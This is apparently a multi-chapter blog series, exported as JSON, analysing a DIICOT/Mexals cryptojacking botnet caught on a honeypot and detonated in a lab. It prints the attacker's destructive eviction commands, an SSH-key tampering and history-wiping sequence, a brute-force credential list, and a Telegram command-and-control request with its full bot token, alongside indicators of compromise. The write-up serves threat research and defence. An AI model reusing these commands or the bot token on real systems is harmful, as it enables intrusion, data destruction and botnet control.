/var/tmp/snap sounds like Ubuntu's package manager, .X0-lock like the display server's lock file. They're names an administrator sees in a listing and walks straight past. The kit tests itselfThat __TTY_GUARD_OK__ is a self-check: after writing its hook into the shell, the kit runs it to see whether it works, first pretending there's a terminal in front of it and then pretending there isn't. The difference matters to them because an administrator logs in with a terminal and an automated task doesn't — and they want to behave differently in each case. They've thought about who comes through that door after them. 05Following the money A miner needs to know two things: which server to connect to, and which wallet to credit with whatever it earns. That lives inside the binary, and it's the most interesting part of the whole critter — because it identifies the operator across all their victims, not just mine. They keep it encrypted. But with the cheapest lock going: a single-byte XOR. What a single-byte XOR isYou take each letter of the text and mix it with one single-character key, using a reversible operation. Applying it again with the same key gives you the original back. It's toy encryption: there are only 256 possible keys, so you try them all and that's that. Its one virtue is that the text doesn't leap out at anyone skimming the binary. So I tried all of them, looking for something shaped like a Monero wallet — 95 characters, starting with a 4 or an 8. And the result isn't what you'd expect: The sweep spits out junk, and that's the lessonThe 256 keys don't give you «an answer»: they give you more than a hundred candidates. Almost all of them are stretches of the binary full of repeated bytes that, run through the XOR, turn into strings like 4444444… and match the pattern on shape alone. Exactly one is real. The tool doesn't decide: the judgement of whoever is looking decides. With the right key — it turns out to be 0x5A — the block comes out whole: decrypted config (XOR 0x5A)# the Monero wallet 89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam # and the three addresses, one after another 169.58.248.162 # their own proxy 5.189.149.171 # the delivery server — the same one from the previous chapter project0.cc # the domain The three addresses, as they travel. On the left the assembly; on the right, that same code translated into C. The three silly-looking strings — *(50?9.jt99, otkbctknctkmk and klctobthnbtklh — are project0.cc, 5.189.149.171 and 169.58.248.162 the moment you run the XOR over them. Look at the lengths being passed in: 0xb, 0xd and 0xe — eleven, thirteen and fourteen, which is exactly what the three destinations measure. It's encryption that doesn't even hide the size of what it's hiding. And a detail I like a lot: in the decrypted text the fields come separated by the letter Z. That's no coincidence and no part of the data — those Zs are the zero bytes. The padding separating one string from the next, run through the XOR with 0x5A, all turns into Z. The separators give themselves away: you don't have to guess where each string ends, the encryption draws it for you. Why the padding gives the key awaytoy cryptography The property behind it is that zero mixed with the key gives you the key. Since config blocks are padded with zeros to make the sizes line up, in the encrypted binary those zeros all show up converted into the same character — which is the key in person. If you see one byte repeating in long runs inside an otherwise unreadable stretch, there it is. You don't even need to sweep. The order of the list tells you how the business works: first their own proxy, then the delivery server and the domain, and only at the end seven public pools on supportxmr.com — and those do travel in the clear, unencrypted. The operator mines against their own; the public pool is the parachute. It also tells you what they care about hiding: what they encrypt is what identifies them; what anyone could use, they don't. How I know it's this family and not anotherPutting a name on something is easy; proving it, less so. I downloaded the samples already catalogued publicly as this family and searched them for what I'd just pulled out of mine. Two carry the same wallet, the same proxy, the same delivery server and the same domain, all four behind the same key. And one of them also brings nearly every piece I went looking for: libbase.sh, system-helper, .X0-lock, /var/tmp/snap, /etc/ld.so.preload, libcommon.so, the name 16 and the top() template — it's missing one off the list. This isn't a family resemblance: it's the same pocket and the same tools. This isn't a discovery of mineThe wallet and the proxy were already inside public samples of this family. I didn't find them; they were sitting there, encrypted. What I'm doing is pulling them out and reading, laid out in order, how the operation is put together. And laying them out in order does turn something up. I sorted them by upload date and looked, in each one, at how they stored the wallet and what they mined against: the change in how they get paid, by dateJuly wallet IN THE CLEAR · public pool, directly 11 August (loader, no wallet) · still no proxy of their own 30 August (loader, no wallet) · ← their own proxy appears September wallet encrypted · own proxy · public pool as backup In July they were mining with the wallet in plain sight against a public pool. By September they'd moved to an encrypted wallet against a proxy of their own, with the public pool demoted to a safety net — which is exactly the hierarchy I just read in the config. And the change can be dated, though not where you'd think. The two August samples aren't miners: they're loaders —the piece that installs— and they carry no wallet at all, so there's nothing to compare on that front. What they do carry is the proxy address, and that's where the cut falls: in the 11 August one it isn't there, and in the 30 August one it is. The hinge falls between those two dates, and what marks it is the proxy, not the wallet. Careful with what that means and what it doesn't. What doesn't overlap is what the binaries carry configured: the old wallet shows up only in the July samples and always in the clear; the new one only in the September ones and always covered. That's a fact about samples, and it goes no further. What the two wallets actually did —how much they've taken in, since when, and whether they're still taking it— isn't inside any binary, so this chapter doesn't settle it. But it isn't a dead end either: it can be found out from the outside, and I give the next instalment over to it entirely. 06The 443 that encrypts nothing Their own proxy is 169.58.248.162, and it listens on port 443. That's the HTTPS port: the one for secure websites, the one that's open on every firewall in the world because if you close it nobody can browse. But in the config, encryption is switched off. Which means: they speak the mining protocol in the clear over the HTTPS port. They're not using it to encrypt — they're using it to look like ordinary web traffic and slip by unnoticed. And there's a detection rule in that which works for anyone: outbound traffic to 443 that never negotiates a certificate. A real HTTPS connection always starts with a handshake where both sides agree on the encryption. If something goes out over 443 and skips that step, it isn't a website: it's somebody hiding behind a port number. And there's a pattern in where all of this lives. The delivery server, this payout proxy and the address the last two visits came from are all three at the same provider — Contabo, AS51167, a big, cheap hosting outfit. The addresses that only knock on the door trying passwords, by contrast, rotate from provider to provider. It's worth saying carefully, because the provider is legitimate and has nothing to do with any of it: the finding isn't Contabo, it's that they choose it. And the reading is that the machines they attack from are disposable; the ones that have to be paid for and maintained —delivering the binary and collecting the mining— they keep together and still. An extracted indicator, not an observed connectionI'll say it again because it matters: my decoy's miner never got to talk to that proxy — the containment stopped it first. I know it's its first destination because I read it in the binary, not because I saw it on the wire. It's an extracted indicator, and it should be labelled as such. 07Indicators (IOCs) The intrusion ones are in chapter 23. These are the ones from inside. The wallet goes in whole: the only party it points at is the operator. TypeValue Monero wallet89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam Mining proxy169.58.248.162:443 — no TLS · extracted indicator, not an observed connection Delivery and domain5.189.149.171 · project0.cc Backup poolspool-{fr,phx,nyc,hk,sg,aus,ca}.supportxmr.com:5555 — all seven, in the clear Config encryptionsingle-byte XOR, key 0x5A — sweep all 256, it can differ between components Backdoor templatestring split by a zero byte where the running process number is inserted Fake commands, primedtop() · crontab() · kill() — all three, inside the binary Embedded componentslibbase.sh · system-helper · /usr/local/lib/libcommon.so (rootkit: hooks readdir) Payloads on disk/var/tmp/snap · .X0-lock Self-check__TTY_GUARD_OK__ — run with and without a terminal after writing the hook Network signatureoutbound traffic to 443 that never negotiates TLS SHA-256 (miner)a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 To be continued — the binary has nothing left to give me. It leaves me a ninety-five-character wallet and a question it can't answer: how much has this thing earned? Monero is built so that no balance can be looked up, so the answer isn't coming off the chain. It's somewhere else, and getting to it doesn't require touching anything of theirs. I pull on that thread in Chapter 25. 🍯","date":"2026-09","fam":"DIICOT","n":24,"spec":"DIICOT / Mexals","sum":"The previous chapter left a number unexplained: the backdoor was deleting a different process on every installation, and that can't be known in advance. I open the miner and the answer shows up — a template with the gap already reserved. Along the way out comes the wallet the money goes to, behind encryption that's frankly laughable.","t":"The line nobody wrote","tags":["Ghidra","reverse engineering","XOR","cryptojacking","Monero","static analysis"],"tipo":"Cryptojacking + P2P botnet (Monero)","url":"/en/chapter-24/"},{"body":"This thread starts where the teardown chapter left off: the miner carried inside it, behind toy encryption, the Monero wallet it sends its earnings to. Having it is nice and tells you nothing — ninety-five characters don't tell anybody whether this is a kid experimenting or a business. The question that matters is how much it has earned, and the binary doesn't answer that one. Monero, besides, is built precisely so that it can't be answered: there's no balance to look at and no movements to follow. So the answer wasn't going to come off the chain. It came from somewhere else, and without touching a single machine of theirs. How to read thisThree levels, kept apart throughout: seen (I checked it myself), read (a third party says so) and inferred (my interpretation). It matters more than usual in this instalment, because measured figures and estimated ones live side by side in the same paragraph here, and the difference between them is exactly what makes the number worth anything. 01A wallet has no balance, but the pool keeps books The miner prefers to mine against an intermediary of its own, but it carries seven public supportxmr servers in reserve in case theirs goes down. And a public pool does something the currency doesn't: it keeps a tally of what it pays each wallet, and publishes it. No permission to ask for, no sign-up, nothing of anyone's to touch: it's an open page, like a notice board in a building lobby. So I asked. Three read-only queries, and this is what was there: the books on the current walletpaid out 21.27 XMR pending 0.18 XMR hashrate 917.7 kH/s accumulated 26.99 trillion hashes shares 85,131,478 valid · 676 rejected last activity seconds ago Four things read out of that, and none of them was what I expected. seen The campaign is alive. Not «was»: the pool logged a hash from it at the very moment I asked. I'd been telling the story of an infection from a few days back as though it were the past, and the thing is still mining as I write. seen My decoy was one of many. That rate doesn't come off one machine: it takes between four hundred and nine hundred cores working at once, depending on what each one manages. Dozens or hundreds of infected boxes at the same time. Mine was in there for a few hours. inferred It isn't from this week. The accumulated counter, at that rate, works out to close to a year of continuous mining — which is, roughly, as long as that wallet has existed. inferred And it isn't an amateur. Of eighty-five million shares submitted, only 676 came back rejected: an error rate of 0.0008 %. That's a correct, stable configuration held together for months, not somebody trying things out. seen A methodological detail that nearly cost me the threadThe payout listing returns twenty-five and it looks like that's all of them. It isn't: twenty-five is the page size. Ask for the full history and you get three hundred and eight, the first one from December last year. If I'd stopped at the first page, this thread tells a story five times smaller — and I'd never have known. Of those last twenty-five, seventeen fall in the same window, around 21:00 UTC. They get paid on office hours. seen 02And I asked about the old one too The July samples didn't carry this wallet: they carried a different one, in the clear. While I was at the notice board, I asked about that one. What came back reorders the story I'd brought with me, and it's considerably bigger: the two wallets, on the same board the old one the new one payouts 1,183 308 first payout 14 January 2021 20 December 2025 last payout 3 August 2026 14 September 2026 mining now? no yes total paid out 144.77 XMR 21.27 XMR First: the old wallet has been collecting since January 2021 — five and a half years, one thousand one hundred and eighty-three payouts. seen And that date isn't just any date: it's when Bitdefender published the first report on this family. read The same box, open since the world first heard of them, and unchanged the whole time. inferred Second: the new one wasn't brought out in September. It has been collecting since December, seven months before the July sample that still had the old one configured in it. The two were collecting side by side for over half a year. And the old one didn't wind down gradually: it stopped dead on 3 August and hasn't moved a hash since. seen Third: the old one moved nearly seven times more money. The one I'd been presenting as «the operation» turns out to be, by volume, the smaller of the two. seen So what I'd called a handover wasn't one. By the time the binary changed wallets, the new one had been collecting for more than six months and the old one had been dead for a month: there was no baton pass, there was one box switching off and another that was already running. inferred 03What this is in money Here's the one figure a reader can actually judge. Hashes and shares mean nothing to anyone; dollars do. Between the two wallets they add up to 166 XMR, and converting that isn't a matter of multiplying by today's price: there are coins in there mined in 2021, when Monero was worth a quarter of what it is now. Each payout has to be valued at the price the coin had on the day it was paid. what they've collected, in money · queried on 18 September 2026166.04 XMR across the two wallets at today's price, flat 85,800 $ # bad figure: values 2021 coins at 517 $ valuing each payout at the price on its day: last year, measured 16,368 $ # 503 payouts · 43.35 XMR everything before Sep-2025 122.69 XMR # estimated: no price series total, five and a half yrs ~33,000 - 37,000 $ current rate ~23 $ a day Thirty-odd thousand dollars over five and a half years, and about twenty-three a day right now. inferred And year on year it barely moves: 32.6 XMR in 2021, 20.5 in 2022, 23.5 in 2023, 28.7 in 2024, 22.3 in 2025 and 38.4 so far in 2026. seen That changes the conclusion, and not in the direction I was heading. I came here to say «this isn't an amateur», which is true and doesn't go far enough. What's actually here is a small, old, steady business, and that explains in one go everything I've spent two chapters describing without knowing why: why they don't burn the infrastructure, why they get paid on office hours, why they come back to the same machine four times instead of flooding the internet. These aren't people in a hurry. These are people drawing a wage. inferred 04Who pays for the electricity What's missing is the sum that changes whose problem this is, because what they earn isn't what it costs. Those four to nine hundred cores burn electricity, and the owner of each machine pays for it without knowing. The hard number here doesn't depend on any country — with ten to twenty watts per core at full tilt, the fleet burns around 216 kWh a day in the middle case, and somewhere between 96 and 432 at the extremes. inferred Put a price on that and it looks like this: the bill they spread across their victims 400 cores 600 cores 900 cores 10 W 15 W 20 W US residential 18.34 ¢/kWh 18 $ 40 $ 79 $ US commercial 14.19 ¢/kWh 14 $ 31 $ 61 $ Europe 0.20 €/kWh 19 € 43 € 86 € Take the middle column at residential rates — which is the fair yardstick here, because most of what this family infects are small boxes and cheap servers, not data centres — and the victims are paying out more in electricity than the operator takes in: about forty dollars a day against the twenty-three that reaches them. Call it one and a half times over. inferred (On commercial tariffs the gap narrows to roughly break-even; in Europe, at twenty cents a kilowatt-hour, it widens to about double.) Over a year, at residential rates, that's around 14,500 $ of somebody else's electricity to produce 8,400 $ of their own profit. inferred And that's what really defines this. It isn't theft of money: it's a transfer of cost. The business only works because the expensive part is paid by somebody else, in bills of twenty or thirty dollars spread across hundreds of machines where nobody will ever notice them. 05What I can't prove Four caveats, and none of them is minor. It's what was paid out, not what was made. These are the payments the pool has sent those wallets. For that to be real money they'd have to sell, and what they've done with it isn't visible from anywhere. The money belongs to the wallet, not to the critter. This is the one that weighs most. A wallet can receive from several campaigns at once, so what I've measured is the pocket, not the particular operation that got into my machine. The worker being named after the process they hide ties it closely, but it doesn't prove exclusivity. And it's the floor, not the ceiling. The miner prefers its own intermediary and keeps the public pool in reserve, so everything above is what fell through the parachute. What they collect through their own proxy isn't visible from outside and there's no passive way to find out. The figure I can give is the minimum. The older half of the conversion is an estimate. For the last year I have the price on each day; for anything before last September I don't, and I've used a reasonable average for that stretch. That's why I give a range and not a round number. 06The name on the payroll And there's the payoff, which isn't a figure. The same board lets you ask what name the miner collecting into that wallet identifies itself by — what a pool calls the worker, a label the operator sets themselves so they can tell which machine is earning them what. The answer is one word long: the worker's name, according to the pool$ curl -sL \".../identifiers\" [\"16\"] 16. The same name the miner gives itself on startup so as not to draw attention, and the same one the backdoor from the first chapter wipes off the screen so the administrator can't see it. seen What they use to hide from the victim is what they use to identify themselves to whoever pays them. And it makes sense: in front of the pool there's nothing to hide, it's their own bookkeeping. But it leaves an uncomfortable symmetry — the one fact an administrator can't see on their own machine is written, in plain view, on a public page that takes no finding at all. 07Indicators (IOCs) The break-in was catalogued in chapter 23 and the innards in 24. What follows comes from pulling the thread, and it has a virtue the rest doesn't: it doesn't expire at the next rebuild. TypeValue Wallet in use89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam Previous wallet87Fxj6UD… — collecting since 2021-01-14, stopped 2026-08-03 Longevity1,183 payouts on the old one · 308 on the current one — an indicator of continuity, not of money Worker name at the pool16 — the same one the miner camouflages itself with on the machine Payout window17 of the last 25 payments around 21:00 UTC Methodread-only query to the pool's public API, on 18 September 2026 · ask for the full history, not the first page The wallet is the most durable thing this case has. Hashes change with every build, addresses die and the delivery server will end up empty; a wallet that has been collecting since 2021 can't be rotated without giving up what it holds, and it's written somewhere that can't be erased. To be continued — this is the DIICOT that's been documented since 2021, and the wallet I've just followed is its own. But the family didn't stand still: there's a more recent build out there, and what it carries deserves a chapter of its own. It starts in Chapter 26. 🍯","date":"2026-09","fam":"DIICOT","n":25,"spec":"DIICOT / Mexals","sum":"The teardown left me a Monero wallet and a question the binary doesn't answer: how much has this thing earned. Monero is built so no balance can be looked up — but the pool they mine against publishes per-wallet statistics, and that's an open page. What turned up when I asked: one wallet collecting since January 2021, another already running months before it showed up in any sample, about twenty-three dollars a day, and an electricity bill paid by the victims that comes to more than the operator makes.","t":"Twenty-odd dollars a day","tags":["OSINT","Monero","cryptojacking","pool","investigation"],"tipo":"Cryptojacking + P2P botnet (Monero)","url":"/en/chapter-25/"},{"body":"The previous chapter ended on a promise: the family that had spent five years collecting into the same wallet hadn't stood still, and a newer build was going around. Here it is. It lasted sixty-six seconds, and I have all of them: it comes in, sizes the machine up, evicts whoever was there, uploads sixteen megabytes in a single file and fires. Three minutes later the disk was frozen, with everything still on it. What it uploaded turned out to be a Russian doll. And what stopped it wasn't any prepared defence: it was a three-syllable mount option that has been in the manuals for decades. 01Sixty-six seconds Before that minute there are hours of tedium: sustained brute force against the root account, hundreds of attempts, all from a single address. Until one lands. What comes next is this: Sixty-six seconds of assault. It comes in over SSH as root, sizes the machine up, kills the competition, uploads its kit… and walks straight into a /var/tmp mounted noexec. The decoy was frozen three minutes later. I'll tell it in times relative to the moment the password lands — I don't publish the wall clock, because the campaign is still live. In the first eight seconds it measures the machine. On the ninth, it evicts. On the tenth it starts uploading. On the thirteenth it tries to start up. And that's where it ends. There's no probing, no exploring, not one command more than needed. It's a list being run from top to bottom. 02What it asks before anything else The reconnaissance fits in eight seconds and there's nothing spare in it: the reconnaissance, in fulluname -s -v -n -r -m # system, version, name and architecture uname -m # the architecture, again and on its own uptime | grep -ohe 'up .*' # how long it has been up nproc # how many cores lscpu | egrep \"Model name:\" # which CPU exactly lspci | egrep VGA # is there a graphics card? lspci | egrep VGA | grep Radeon | wc -l nvidia-smi -q | grep \"Product Name\" | wc -l curl ipinfo.io/org # ← whose machine is this? The three questions about the graphics card say what it's here for: knowing there is one isn't enough, it wants to know which make, because the miner it uses depends on that. A cryptojacker that tells Radeon from NVIDIA before deciding what to pull down. But the one I liked most is the last. curl ipinfo.io/org returns which operator the IP belongs to on the machine it has just walked into. It's the equivalent of checking the letterbox before deciding whether the place is worth burgling: it tells you whether you've landed on a company server, a cloud provider, or somebody's home connection. It's the only query in the whole reconnaissance that goes out to the internet, and that's why it was logged by the firewall as well. What it doesn't ask says something tooIt doesn't look at who has logged in lately, it doesn't hunt for files, it doesn't nose around in mail or databases, it doesn't touch anybody's data. Exactly four things interest it: how many cores, which graphics card, how long it has been up, and whose line this is. It's the shopping list of someone who only wants the machine to work for free. 03First, evict On the ninth second it fires a single, very long line that cleans house before installing anything: the evictioncrontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ps aux | awk '$3 \u0026gt; 40.0 \u0026amp;\u0026amp; $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe | xargs rm -f ; kill -9 $pid ; done ps aux | awk '$4 \u0026gt; 60.0 \u0026amp;\u0026amp; $11 !~ /sshd/ {print $2}' | … for proc in xmrig cpuminer minerd ccminer; do pidof $proc | … ; pkill -9 $proc ; done It kills the known miners by name, but the clever part is the other one: it sweeps by consumption. Any process over 40\u0026nbsp;% CPU or 60\u0026nbsp;% memory that isn't the SSH server, gone. It doesn't need to know what the neighbour's miner is called; it's enough that it shows. And it isn't satisfied with killing it. Before sending the signal it works out which file that process came from and deletes it off the disk. That isn't killing: it's uninstalling the previous tenant. Three seconds later, once it has uploaded its own things, it finishes off with a second round: the second pass, and the launchchattr -iae ~/.ssh/authorized_keys rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/.update-logs /var/tmp/Documents rm -rf /tmp/.diicot /tmp/kuak ; rm -rf xmrig .diicot .black Opera pkill Opera ; pkill cnrig ; pkill java ; killall xmrig cd /var/tmp \u0026amp;\u0026amp; chmod +x aLAJrFpX \u0026amp;\u0026amp; ./aLAJrFpX \u0026amp; disown history -c ; rm -rf ~/.bash_history Look at what it deletes: .diicot, kuak, retea, .x, Opera, .black. Those aren't the competition's names: they're its own. They're the files this very family leaves behind — the same names it has been using since it was first documented, back in 2021. It's evicting itselfThe new build comes in and, before installing, wipes the remains of the old one. It makes perfect sense: two generations of the same kit fighting over the same CPU are no use to anybody, least of all to whoever is collecting. But it leaves an image that's hard to shake: a critter that arrives on a machine and the first thing it does is throw out its own predecessor. The chattr -iae on authorized_keys deserves a line of its own: it strips the immutable attribute from root's SSH key file, the one that decides who gets in without a password. That isn't cleaning up — it's clearing the ground to plant its own. And it closes by wiping the history, which is the usual gesture. 04A Russian doll Between the two rounds of cleaning it uploads two files over scp. One small, a shade over two megabytes. And one of sixteen and a half megabytes, which for a critter like this is enormous. That big one is a single ELF written in Go and packed with UPX. Opening it up shows why it weighs so much: it carries another five programs inside, each one packed in turn. It's a Russian doll. A Russian doll. A single Go ELF unpacks five modules —bot, loader, XMRig, coinminer and SSH scanner— plus its credential dictionary. I carved them out of the binary one by one, and then detonated the dropper in the cage to see what it wrote to disk under its own names. They match by hash, so there's no doubt about what each one is: the five modules and where it drops them/tmp/cache the bot: P2P mesh + command over Telegram /tmp/diicot the loader: persistence and download engine /tmp/kuak XMRig, the Monero miner /dev/shm/retea a second miner /dev/shm/.x/network the scanner: SSH brute force, to spread /dev/shm/.x/pass its password dictionary /dev/shm/.x/bios.txt the list of targets to scan That pass is the detail that says most about how this spreads. It's a text file of username and password pairs, and they're exactly what you'd expect: root root, root 123456, root Passw0rd, root P@ssw0rd… and root Huawei@123, which gives away what sort of boxes it's aiming at besides servers. In other words: the kit isn't just a miner. It's a miner that brings along the machinery for finding the next victim. It gets in by brute force, and the first thing it installs is its own brute-forcer. That's how a botnet keeps itself going without the operator lifting a finger. The whole chain. From the SSH brute force to the five modules and the two command routes: the P2P mesh with Telegram on one side, and the second stage that pulls down the mining config on the other. SPECIMEN 009 · ELF ×6 DIICOT / Mexals · 2026 build ◈ LIVE · DO NOT RUN DeliverySSH with a password · two files over scp Dropper16,604,752 B · Go · UPX · stripped and obfuscated ContainsP2P bot · loader · XMRig · second miner · SSH scanner SpreadingSSH brute force with its own dictionary Outcomeit never ran — see §05 SHA-256 dropper28e0c4d5bc6675537ba47c6529877a3194a29585fb86477f66bf13c79252d2f0 SHA-256 bot7d55a90710b8e79283efd756e8d3423fc23e0dcf742d6027b1a2a1b9d02a9c16 05And it walked into one line of fstab The last order of the session asked it to start: cd /var/tmp \u0026amp;\u0026amp; chmod +x aLAJrFpX \u0026amp;\u0026amp; ./aLAJrFpX \u0026amp; disown. In the kernel audit log —which records every execution— the chmod shows up. And nothing else does. The reason is one line in the machine's /etc/fstab: the line that stopped everythingtmpfs /var/tmp tmpfs rw,nosuid,nodev,noexec,size=256M 0 0 noexec means \"nothing runs from this folder\". It makes no difference that the file has the execute bit: the system refuses. The critter did everything right —got in, measured, evicted, uploaded sixteen megabytes— and walked straight into a three-syllable mount option. And it was close. The other file, the bot, it had uploaded to /tmp, which does allow execution. If it had put the dropper there, or if the session had lasted a minute longer, this would be a different chapter. How I know, and what it means for what followsI'm not inferring it from silence: I check it three ways. The audit log has no execution of the binary or of any children of it; on the frozen disk none of the files the dropper would have created exist; and the noexec mount explains exactly that outcome. The consequence has to be said head-on, because it governs the chapters that follow: everything I know about what this kit does, I know because I detonated it myself in an isolated cage, not because I watched it work here. What the decoy proves is how it arrived and that it never started. What it does is proved by the lab. There's an irony in the outcome. The decoy is there to be broken into, and they broke in. But what prevented the disaster wasn't any ready defence: it was a mount option that has been in the Linux hardening manuals for decades and that almost nobody bothers to set. Three syllables in a config file. 06Indicators (IOCs) The ones from the arrival. What the kit does on the inside —the command channel, the mesh, how it updates itself— goes in the next chapter. TypeValue Source of the intrusion109.160.32.115 (ASN 197170, TechTies · AbuseIPDB 100/100, 1,225 reports) Way inSSH, root by password, after sustained brute force SHA-256 dropper28e0c4d5bc6675537ba47c6529877a3194a29585fb86477f66bf13c79252d2f0 SHA-256 bot7d55a90710b8e79283efd756e8d3423fc23e0dcf742d6027b1a2a1b9d02a9c16 SHA-256 XMRig79a47c33335fe1ed871a23cf7972652ee08a3ec0afed1c2dc6b5a8df675e153d SHA-256 loaderffe04bc05a56f78b1273876cf17ded8df1aa3da5a15deb17dce99a3e206eb705 SHA-256 second minerc1c122869f46aaf8c4e90f3132c93a801c853244c756966952d0bf19241cf084 Files it leaves/tmp/{cache,diicot,kuak} · /dev/shm/retea · /dev/shm/.x/{network,pass,bios.txt,iplist,.usrs} Marker/tmp/d.log containing admin Eviction (behaviour)crontab -r + killing by CPU\u0026gt;40\u0026nbsp;% and MEM\u0026gt;60\u0026nbsp;% while deleting the executable · chattr -iae on authorized_keys Deletes from its own family.diicot · kuak · retea · .x · Opera · .black Reconnaissancelspci VGA + Radeon + nvidia-smi · curl ipinfo.io/org And one countermeasure that costs nothing and stopped everything here: mount /tmp, /var/tmp and /dev/shm with noexec. This kit drops its five modules in exactly those three places. To be continued — the kit sat still on the disk, so I took it to the cage and switched it on myself. Inside was what it really does: a mesh of up to two thousand nodes that elects a leader, and a leader that takes its orders over a Telegram chat. In Chapter 27. 🍯","date":"2026-09","fam":"DIICOT","n":26,"spec":"DIICOT / Mexals — 2026 build","sum":"The family from the previous chapter didn't stand still: there's a newer build going around, and I caught it from the first second. It brute-forces its way in over SSH, sizes the machine up, evicts the competition —its own older version included—, uploads sixteen megabytes in a single file and fires. All in a little over a minute. And then it walks straight into one line of fstab.","t":"Sixty-six seconds","tags":["honeypot","cryptojacking","SSH","botnet","forensics"],"tipo":"Cryptojacking + P2P botnet (Monero)","url":"/en/chapter-26/"},{"body":"In the previous chapter the kit arrived intact and never started: it walked straight into a noexec mount. So what it does isn't something the decoy showed me — the lab had to show me. Of the five modules it carried inside, the one in charge is the smallest: a shade over two megabytes, a file called cache. It mines nothing. Its job is to decide who mines and when, and for that it needs to receive orders. How it receives them is what this chapter is about. 01Before switching anything on This gets detonated in a cage: a virtual machine inside its own network space, with no route to the internet, and the critter running as an unprivileged user. But \"no way out\" has to be proved every time, not assumed — if the isolation fails, what gets out is a real botnet node joining a real mesh. The smoke test. Before detonating anything, the cage confirms there's no way out to the internet. If something answered, it's aborted. The test is daft and that's why it works: try to reach a couple of places that always answer. If any of them does, nothing gets detonated and the cage gets fixed first. 02It insists on knowing where it is, or it dies The first thing it does on starting isn't to call its master. It's to ask what its own public address is. And it tries three ways, in this order: the three attempts, and the end of it[WRN] self-hosted IP fail → 31.57.105.94:42 # a service of the attacker's own [WRN] api4.ipify fail → … # public fallback [WRN] ifconfig attempt 1..5/5 fail # public fallback, five times [ERR] pub IP fail after all methods — exiting # and it shuts down Seven attempts, some fifty seconds, and if it doesn't manage it it shuts itself down. On a machine with no way out to the internet, this critter never gets to do anything at all. And no, this isn't an anti-lab trickIt's tempting to read it as a defence against analysts — \"no internet, no unmasking\" — and that would be staying on the surface. The reason is duller and more interesting: a node on a peer-to-peer network needs its public address in order to announce itself to the others. Without it, it can't take part. Drop it in a lab that does have a way out and the public service answers and it starts up quite happily. It isn't hiding from the analyst: without an address it can't say where it is. The way out of the deadlock was to give it what it asked for: a fake service, inside the cage itself, handing back a made-up address from the ranges reserved for documentation. With that it believes it and unfolds everything. Note the asymmetry: to watch it work you don't have to let it out, you have to lie to it. 03It crowns itself leader With its address in hand, it builds the network. And this is where it stops looking like a miner: The bot comes to life. It crowns itself leader and opens its Telegram C2; to anyone who isn't the operator it answers \"Unauthorized\". Four things happen in that start-up, and each one adds a piece: It listens on port 8081 and announces itself there. It isn't a client calling home: it's a node that also receives. It carries a bootstrap neighbour hardcoded — one specific address to call the first time, to get into the network. It's the chicken-and-egg problem of every peer-to-peer network: to meet somebody you have to know somebody already. It aims for two thousand connections and, if it has few, it goes looking for more on its own. The mesh isn't decoration: it's sized. And it holds an election. The node starts out as a follower, and the moment it sees there's nobody above it, it proclaims itself chief. Then, and only then, does it open the channel to its operator. Why this is cleverer than it looksIn a classic botnet, every infected machine calls a command server. That has two problems for the attacker: a thousand connections to the same place get noticed, and if they take the server down, he loses everything. Here only one talks to the outside, and the rest find out through the mesh. The operator sends a message and the order reaches thousands of machines without him connecting to any of them. And if the leader falls, the mesh elects another. For anyone defending, the uncomfortable consequence is that you can have a node of this on your network and never see it make a single suspicious connection: your machine only talks to other victims. 04Why strings says nothing The normal move with a critter like this is to run the tool that pulls the readable text out of the file and watch addresses, domains and paths appear. Here nothing comes out: not the chat domain, not the bot's identifier, not one of the words you've just seen on screen. The reason is the obfuscator it was compiled with. It stores every string encrypted in the file and decrypts it in memory just before using it, with a two-line loop that mixes a table and a seed that also travel inside. No C2 in the clear. The obfuscator stores \"api.telegram.org\" as bytes and decrypts it in memory with an XOR. That's why strings on the binary doesn't give up the domain. There are two ways round that. The slow one is to read the code and undo the encryption by hand, table by table. The fast one is to let it do the decrypting: start it, freeze it mid-run and read its memory. There they all are, already in the clear, because the program needs to use them. It's the most reusable lesson in the chapter: an obfuscator protects the file, not the execution. Anything the program needs to understand, it will have to decrypt — and at that moment it's in plain view of whoever is looking. 05Who gives the orders, and the gate on the door Out of memory comes the channel, and it's about as convenient as they get: a Telegram bot. The leader node asks every few seconds whether there are new messages, with a request that carries the bot's identifier inside it: the command channelGET https://api.telegram.org/bot8778142498:AAE2YhxC6AB5PF8GOucHxCviYV4FA1JJnIE/getUpdates?offset=0\u0026amp;timeout=30 Host: api.telegram.org User-Agent: skema As a design decision it has its charm. The traffic goes to a legitimate domain that half the world passes through, encrypted, and there's no server of their own to take down: as long as Telegram works, the channel works. That skema at the end is the only thing out of place — a browser identifier that looks like nothing else, and which is exactly why it works as a signature. And there's a piece of craft in there: it doesn't use the machine's name server. It brings its own along and resolves the domain by itself, skipping the system's. Anyone watching their network by looking at which names each machine asks for will never see this one ask. The next thing was the obvious question: if the channel is public and the identifier is in plain sight, can anybody send it orders? I injected commands from a fake Telegram set up inside the cage. Answer: what it answers a stranger{\"chat_id\":…,\"text\":\"Unauthorized.\"} There's a gate. The bot compares who sent the message against a number stored inside it and, if it doesn't match, it does nothing. Reading it meant going down into the code and then into the running process: the number lives in one specific field of its internal structure, and there it was. The heart of the bot. Ghidra, with the variables renamed by me so it can be followed. It only obeys the operator's chat_id —the bot+0x30 field, highlighted in the assembly too—; if it's zero, anybody. Below, its repertoire of Telegram commands, with /update (self-update over the mesh). The condition that gives you chillsThe check is literally \"if the stored number is zero, or matches whoever is writing, obey\". Which means: in a binary where that field was left at zero, the bot would do as it's told by anyone who messages it. In this sample it was set, and I confirmed it the hard way — writing from the right number gets through the gate, from any other it answers Unauthorized. But it's a botnet that, in the wrong build, can be given orders from a phone. 06The repertoire, and what it calls itself Past the gate, the bot obeys. This is its full repertoire: the commands, and what each one does/peers lists the neighbours it knows /connect ip:port adds one by hand /leader ip appoints who is in charge /hub ip appoints a supernode: everyone converges there /check ip is this machine on the mesh? /update hands a new binary around the mesh ← the important one 